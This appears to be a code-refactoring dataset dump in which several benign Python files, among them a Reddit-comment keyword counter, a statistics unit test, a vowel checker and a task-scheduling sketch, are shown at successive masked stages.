"step-1": "<mask token>\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\n<mask token>\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\n<mask token>\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\n<mask token>\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\n<mask token>\nassert len(titles) == len(content)\nassert len(comments) == len(content)\n<mask token>\nstop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks',\n 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even',\n 'could', 'also'])\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\n<mask token>\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\n<mask token>\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n dictionary = {word: text.count(word) for word in bag_of_words if text.\n count(word) > 0}\n list_of_dict.append(dictionary)\n<mask token>\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\n<mask token>\nfor index, thread in enumerate(keyword_dict):\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending=False)\n df['frequency'] = df['count'] / (1 + len(comments_in_thread[index]))\n df['count'] = df['count'] / len(comments[index]) ** 0.5\n keyword_dict[index] = df.reset_index(drop=True)\n<mask token>\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n",
"step-3": "<mask token>\nclient = MongoClient()\ndb = client.redditCrawler\ncollection = db.data_test1\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\ndata = pd.DataFrame(list(collection.find()))\nmod_posts = [i for i in range(len(data)) if 'moronic Monday' in data[\n 'title'][i]]\ndata = remove_posts(data, mod_posts)\ntitles = data['title']\ncontent = data['post']\ncomments = data['comments']\ncomments_in_thread = []\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\ncomments = comments_in_thread\nassert len(titles) == len(content)\nassert len(comments) == len(content)\nstop_words = stopwords.words('english')\nstop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks',\n 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even',\n 'could', 'also'])\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\ntitles = [preprocess(title) for title in titles]\nposts = [preprocess(text) for text in content]\ntemp = []\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\ncomments = temp\nlist_of_dict = []\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n dictionary = {word: text.count(word) for word in bag_of_words if text.\n count(word) > 0}\n list_of_dict.append(dictionary)\ntitle_keywords = [(list(Dict.keys()) if len(Dict) > 0 else [0]) for Dict in\n list_of_dict]\ntitle_keywords = [word for sublist in title_keywords for word in sublist if\n word != 0]\ntitle_keywords = set(title_keywords)\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\nkeyword_dict = [count_keywords(comment, title_keywords) for comment in comments\n ]\nfor index, thread in enumerate(keyword_dict):\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending=False)\n df['frequency'] = df['count'] / (1 + len(comments_in_thread[index]))\n df['count'] = df['count'] / len(comments[index]) ** 0.5\n keyword_dict[index] = df.reset_index(drop=True)\nvariables = [data['title'], titles, posts, comments, comments_in_thread,\n list_of_dict, title_keywords, keyword_dict]\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n",
"step-4": "import pymongo\nimport pandas as pd\nimport re\nfrom pymongo import MongoClient\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize\nfrom gensim import corpora\nimport pickle\nclient = MongoClient()\ndb = client.redditCrawler\ncollection = db.data_test1\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\ndata = pd.DataFrame(list(collection.find()))\nmod_posts = [i for i in range(len(data)) if 'moronic Monday' in data[\n 'title'][i]]\ndata = remove_posts(data, mod_posts)\ntitles = data['title']\ncontent = data['post']\ncomments = data['comments']\ncomments_in_thread = []\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\ncomments = comments_in_thread\nassert len(titles) == len(content)\nassert len(comments) == len(content)\nstop_words = stopwords.words('english')\nstop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks',\n 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even',\n 'could', 'also'])\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\ntitles = [preprocess(title) for title in titles]\nposts = [preprocess(text) for text in content]\ntemp = []\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\ncomments = temp\nlist_of_dict = []\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n dictionary = {word: text.count(word) for word in bag_of_words if text.\n count(word) > 0}\n list_of_dict.append(dictionary)\ntitle_keywords = [(list(Dict.keys()) if len(Dict) > 0 else [0]) for Dict in\n list_of_dict]\ntitle_keywords = [word for sublist in title_keywords for word in sublist if\n word != 0]\ntitle_keywords = set(title_keywords)\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\nkeyword_dict = [count_keywords(comment, title_keywords) for comment in comments\n ]\nfor index, thread in enumerate(keyword_dict):\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending=False)\n df['frequency'] = df['count'] / (1 + len(comments_in_thread[index]))\n df['count'] = df['count'] / len(comments[index]) ** 0.5\n keyword_dict[index] = df.reset_index(drop=True)\nvariables = [data['title'], titles, posts, comments, comments_in_thread,\n list_of_dict, title_keywords, keyword_dict]\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n",
"step-5": "import pymongo\nimport pandas as pd\nimport re\nfrom pymongo import MongoClient\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize\nfrom gensim import corpora\n\nimport pickle\n\nclient = MongoClient()\ndb = client.redditCrawler\ncollection = db.data_test1\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\ndata = pd.DataFrame(list(collection.find()))\nmod_posts = [i for i in range(len(data)) if 'moronic Monday' in data['title'][i]]\n\n#remove all the mod posts that include 'moronic Monday'\ndata = remove_posts(data, mod_posts)\ntitles = data['title']\ncontent = data['post']\ncomments = data['comments']\n\n# collect only the comments without vote scores, dates, etc\ncomments_in_thread = []\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\n\ncomments = comments_in_thread\n#number of titles and post need to be the same\nassert len(titles) == len(content) \nassert len(comments) == len(content)\n\n\n#preprocess\nstop_words = stopwords.words('english')\nstop_words.extend(['would',\n 'people',\n 'money',\n 'think',\n 'thinks',\n 'thanks',\n 'thing',\n 'things',\n 'ok',\n 'nt',\n 'actually',\n 'like',\n 'get',\n 'even',\n 'could',\n 'also',\n ])\n\n#Function to clean off each dataset item; stop words (what, if, is, where, how, I, she)\n\ndef preprocess(text):\n #no content/nan/len of 0\n #text = [re.sub('[^a-zA-Z0-9]+', ' ', word) for word in text]\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace(\"/\", ' ')\n text = text.replace(\".\", ' ')\n text = word_tokenize(text)\n## text = [re.sub('[^a-zA-Z0-9]+', '', word) for word in text]\n text = [word for word in text if word not in stop_words] \n text = [word for word in text if word.isalpha()]\n return text\n\n#pass titles and comments through pre-processor\ntitles = [preprocess(title) for title in titles]\nposts = [preprocess(text) for text in content]\n\n# process comments\n##comments = [[preprocess(comment) for comment in thread] for thread in comments]\ntemp = []\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\n\ncomments = temp\n\n# form a list of dictionaries for each title, compile\n# each word and its corresponding frequencies in the post's comment section\nlist_of_dict = []\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n## text = comments[index]\n dictionary = {word:text.count(word) for word in bag_of_words if text.count(word) > 0}\n list_of_dict.append(dictionary)\n\ntitle_keywords = [list(Dict.keys()) if len(Dict) > 0 else [0] for Dict in list_of_dict]\ntitle_keywords = [word for sublist in title_keywords for word in sublist if word != 0 ]\ntitle_keywords = set(title_keywords)\n##title_keywords = set(title_keywords)\n\n##count the number of keywords in the comment section\ndef count_keywords(comments, keywords):\n## sample = ' '.join(comments).split()\n return {word: comments.count(word) for word in keywords if comments.count(word) > 0}\n\nkeyword_dict = [count_keywords(comment, title_keywords) for comment in comments]\nfor index, thread in enumerate(keyword_dict):\n #normalize each keyword by the number of words present\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending = False)\n #dividing by number of words in each thread\n## df['frequency'] = df['count']/(len(comments[index]))\n df['frequency'] = df['count']/(1+len(comments_in_thread[index]))\n df['count'] = df['count']/(len(comments[index]))**0.5\n keyword_dict[index] = df.reset_index(drop=True)\n\n#save varialbes\nvariables = [data['title'], titles, posts, comments, comments_in_thread,\n list_of_dict, title_keywords, keyword_dict]\n\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n\n\n\n\n\n",
"step-ids": [
3,
4,
5,
6,
7
]
}
|
[
3,
4,
5,
6,
7
] |
sheik=['a','e','i','o','u','A','E','I','O','U']
s=raw_input()
if(s in sheik):
print('Vowel')
elif(s!=sheik):
print('Consonant')
else:
print('invalid')
|
normal
|
{
"blob_id": "0fb8a9b1073446a62b46a802da69b66e78533c2a",
"index": 7293,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif s in sheik:\n print('Vowel')\nelif s != sheik:\n print('Consonant')\nelse:\n print('invalid')\n",
"step-3": "sheik = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\ns = raw_input()\nif s in sheik:\n print('Vowel')\nelif s != sheik:\n print('Consonant')\nelse:\n print('invalid')\n",
"step-4": "sheik=['a','e','i','o','u','A','E','I','O','U']\ns=raw_input()\nif(s in sheik):\n\tprint('Vowel')\nelif(s!=sheik):\n\tprint('Consonant')\nelse:\n\tprint('invalid')\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
from stats_arrays.distributions import GeneralizedExtremeValueUncertainty as GEVU
from stats_arrays.errors import InvalidParamsError
from ..base import UncertaintyTestCase
import numpy as np
class GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):
def test_random_variables(self):
params = self.make_params_array()
params['loc'] = 2
params['scale'] = 5
# Formula for median (loc - scale * ln ln 2)
expected_median = 2 - 5 * np.log(np.log(2))
results = GEVU.random_variables(params, 10000)
found_median = np.median(results)
self.assertEqual(results.shape, (1, 10000))
self.assertTrue(0.95 * expected_median < found_median)
self.assertTrue(found_median < 1.05 * expected_median)
def test_loc_validation(self):
params = self.make_params_array()
params['loc'] = np.NaN
self.assertRaises(
InvalidParamsError,
GEVU.validate,
params
)
def test_scale_validation(self):
params = self.make_params_array()
params['scale'] = -1
self.assertRaises(
InvalidParamsError,
GEVU.validate,
params
)
def test_shape_validation(self):
params = self.make_params_array()
params['shape'] = 1
self.assertRaises(
InvalidParamsError,
GEVU.validate,
params
)
def make_params_array(self, length=1):
assert isinstance(length, int)
params = np.zeros((length,), dtype=[
('input', 'u4'),
('output', 'u4'),
('loc', 'f4'),
('negative', 'b1'),
('scale', 'f4'),
('shape', 'f4'),
('minimum', 'f4'),
('maximum', 'f4')
])
params['minimum'] = params['maximum'] = np.NaN
params['loc'] = params['scale'] = 1
return params
|
normal
|
{
"blob_id": "997c1c86848b59a3986a579d5b1b50313fdfdf44",
"index": 8161,
"step-1": "<mask token>\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n <mask token>\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def make_params_array(self, length=1):\n assert isinstance(length, int)\n params = np.zeros((length,), dtype=[('input', 'u4'), ('output',\n 'u4'), ('loc', 'f4'), ('negative', 'b1'), ('scale', 'f4'), (\n 'shape', 'f4'), ('minimum', 'f4'), ('maximum', 'f4')])\n params['minimum'] = params['maximum'] = np.NaN\n params['loc'] = params['scale'] = 1\n return params\n",
"step-4": "from stats_arrays.distributions import GeneralizedExtremeValueUncertainty as GEVU\nfrom stats_arrays.errors import InvalidParamsError\nfrom ..base import UncertaintyTestCase\nimport numpy as np\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def make_params_array(self, length=1):\n assert isinstance(length, int)\n params = np.zeros((length,), dtype=[('input', 'u4'), ('output',\n 'u4'), ('loc', 'f4'), ('negative', 'b1'), ('scale', 'f4'), (\n 'shape', 'f4'), ('minimum', 'f4'), ('maximum', 'f4')])\n params['minimum'] = params['maximum'] = np.NaN\n params['loc'] = params['scale'] = 1\n return params\n",
"step-5": "from stats_arrays.distributions import GeneralizedExtremeValueUncertainty as GEVU\nfrom stats_arrays.errors import InvalidParamsError\nfrom ..base import UncertaintyTestCase\nimport numpy as np\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n # Formula for median (loc - scale * ln ln 2)\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(\n InvalidParamsError,\n GEVU.validate,\n params\n )\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(\n InvalidParamsError,\n GEVU.validate,\n params\n )\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(\n InvalidParamsError,\n GEVU.validate,\n params\n )\n\n def make_params_array(self, length=1):\n assert isinstance(length, int)\n params = np.zeros((length,), dtype=[\n ('input', 'u4'),\n ('output', 'u4'),\n ('loc', 'f4'),\n ('negative', 'b1'),\n ('scale', 'f4'),\n ('shape', 'f4'),\n ('minimum', 'f4'),\n ('maximum', 'f4')\n ])\n params['minimum'] = params['maximum'] = np.NaN\n params['loc'] = params['scale'] = 1\n return params\n",
"step-ids": [
4,
5,
6,
7,
8
]
}
|
[
4,
5,
6,
7,
8
] |
#!/usr/bin/env python3
import datetime, random
class State(object):
def __init__(self, name):
self.name = name
def __str__(self):
return self.name
class State_New(State):
def __init__(self):
super(State_New, self).__init__("New")
class State_Underway(State):
def __init__(self):
super(State_Underway, self).__init__("Underway")
class State_Paused(State):
def __init__(self):
super(State_Paused, self).__init__("Paused")
class State_Completed(State):
def __init__(self):
super(State_Completed, self).__init__("Completed")
class TaskMan(object):
def __init__(self):
self.tasks = []
class Resource(object):
def __init__(self, name):
self.name = name
# the available_count is how many tasks this resource is available for.
self.available_count = 0
# The assigned count is how many times this resource has been used.
# For sorting, sort based on available+assigned, unless there are
# multiple resources at the same value
self.assigned_count = 0
def __lt__(self, other):
return self.available_count < other.available_count
def __cmp__(self, other):
return cmp(self.available_count, other.available_count)
def __str__(self):
return "Name: %s, weight: %s" % (self.name, self.available_count)
class ResourceGroup(object):
def __init__(self, *resources):
self.resources = set(resources)
def __str__(self):
return ", ".join([x.name for x in self.resources])
#return str(self.resources)
class ResourceManager(object):
def __init__(self):
self.resources = set()
def add(self, r):
self.resources.add(r)
def __str__(self):
r = []
for res in self.resources:
r.append(str(res))
return "\n".join(r)
class Task(object):
s_new = State_New()
s_underway = State_Underway()
s_paused = State_Paused()
s_completed = State_Completed()
def __init__(self, name, duration=4, numworkers=1, resource_group=None):
self.work_units = [] # work units applied so far
self.name = name
self.predecessors = []
self.successors = []
self.state = self.s_new
self.resource_group = resource_group
self.duration = duration
self.numworkers = numworkers
self.start_offset = 0
# hard assigned resources are those designated by the user, and are not
# subject to change by the program.
self.hard_assigned_resources = []
# auto_assigned resources are those designated by the program and may be
# changed at any time until the task has begun. Once the task has begun,
# the resource becomes hard_assigned and must be changed manually if it
# needs to be changed.
self.auto_assigned_resources = []
# A task may be waiting to start, underway, paused or completed.
# Each state change could be accompanied by a comment. If a task is
# paused because it is waiting for either another resource, the
# completion of another task, or some 3rd party action, that should be
# noted in a comment.
# def assign(self):
# self.resource_group.sort()
# for x in range(self.numworkers):
# self.auto_assigned_resources.append(self.resource_group.resources[x])
def avail(self, time, resource_group):
"""
Build a set of resources who are available for a given time. It might
make more sense to work based on a given restricted resource set.
"""
a = set()
for r in self.resource_group.resources:
pass
def __str__(self):
r = []
#r.append("Task: %s" % self.name)
#r.append(" State: %s" % self.state)
#r.append(" Hard Resources: %s" % str(self.hard_assigned_resources))
#r.append(" Auto Resources: %s" % str(self.auto_assigned_resources))
#r.append(" Resource Group: %s" % str(self.resource_group))
if self.auto_assigned_resources:
r.append("%s%s %s" % (self.start_offset*" ", str("-"*self.duration),
str(self.auto_assigned_resources)))
else:
r.append("%s%s %s" % (self.start_offset*" ", str("-"*self.duration),
str(self.resource_group)))
#str(datetime.timedelta(minutes=self.duration*15)))
return "\n".join(r)
def flatten(tasks):
# Because resources may be shared across multiple projects, when flattening
# you need to take that into account.
# I think actually that flattening a set of projects simultaneously would
# probably be a good thing. This would allow us to maximize the efficiency
# of resource allocation.
# This won't always be possible, some people will have outside committments
# that cannot be shifted, and this needs to be taken into account when
# assigning them.
current_time = 0
running = True
while running:
needs_assignment = False
for t in tasks:
avail_resources = t.avail(current_time, t.resource_group)
if not needs_assignment:
running = False
if __name__ == '__main__':
rm = ResourceManager()
a = Resource("A")
b = Resource("B")
c = Resource("C")
d = Resource("D")
rm.add(a)
rm.add(b)
rm.add(c)
rm.add(d)
# numtasks = int(random.random()*20)
numtasks = 20
tasks = []
for x in range(numtasks):
fg = [a,b,c,d]
random.shuffle(fg)
#print("Fullgroup: %s" % ", ".join([str(x) for x in fg]))
group = fg[:int(random.random()*3)+1]
duration = int(random.random()*32)+1
#print("Group: %s" % ", ".join([str(x) for x in group]))
t = Task("Prepare Report",duration=duration,
resource_group = ResourceGroup(*group))
tasks.append(t)
for t in tasks:
print(str(t))
# -------------------
# 1. Create a list of resources
# 2. Create a list of tasks
# 3. Create a resource group for each set of tasks
# 4. Auto assign resources to tasks and level the tasks
# So, first, go through all the tasks and weight each resource with how many
# times they appear as available
for t in tasks:
for r in t.resource_group.resources:
r.available_count += 1
# -------------------
# As we lay out tasks, we are at a "current time" point. Once all resources
# are assigned for the current time point, we find the next nearest time
# point when a resource becomes free - at the end of the shortest next task.
# Then we begin looking at assignments again.
#
# So we start at CT=0, and go through each unassigned task.
# When we get to an unassigned task, see if any of the resources assigned to
# it are available at this time.
# If so, take the set of available resources, sort in inverse
# weight order, and choose the first.
#
# After every assignment, add one to the weight of the resource. The idea is
# to bias the resource against being assigned again, until other less
# assigned resources catch up. The only thing I would be afraid of would be
# a resource who is available across many tasks not getting assigned to any
# because his score is too high. Maybe it would be best to keep two tallys -
# the number of available, and the number of assignments, and when sorting
# in preference order, order first by (avail+assigned), and then within a
# given group, order by assigned. This way, if someone has 7 availability
# slots and 0 assigned slots, they will get chosen before someone with 5
# availability slots and 2 assigned slots.
flatten(tasks)
print(str(rm))
# If someone is working on something and they get blocked waiting for
# something (another task or an outside supplier) then the task needs to be
# marked as "blocked/paused" and the assigned tasks shuffled accordingly.
#
# So the idea is that on your smartphone, you can always bring up a "What do
# I do now" display, which is sensitive to task priorities and stalls.
# Another thing I'd really like to try to take into account as much as
# possible is the fact that switching mental contexts between projects is an
# uncomfortable and time consuming process, so we'd want to minimize that
# as much as possible. Probably something like, try to switch projects no
# more often than once every 2 hours (8 work blocks).
|
normal
|
{
"blob_id": "e40b34f0ee51cc14615c6225a7676929e6d2876a",
"index": 2975,
"step-1": "<mask token>\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass State_New(State):\n <mask token>\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\n<mask token>\n",
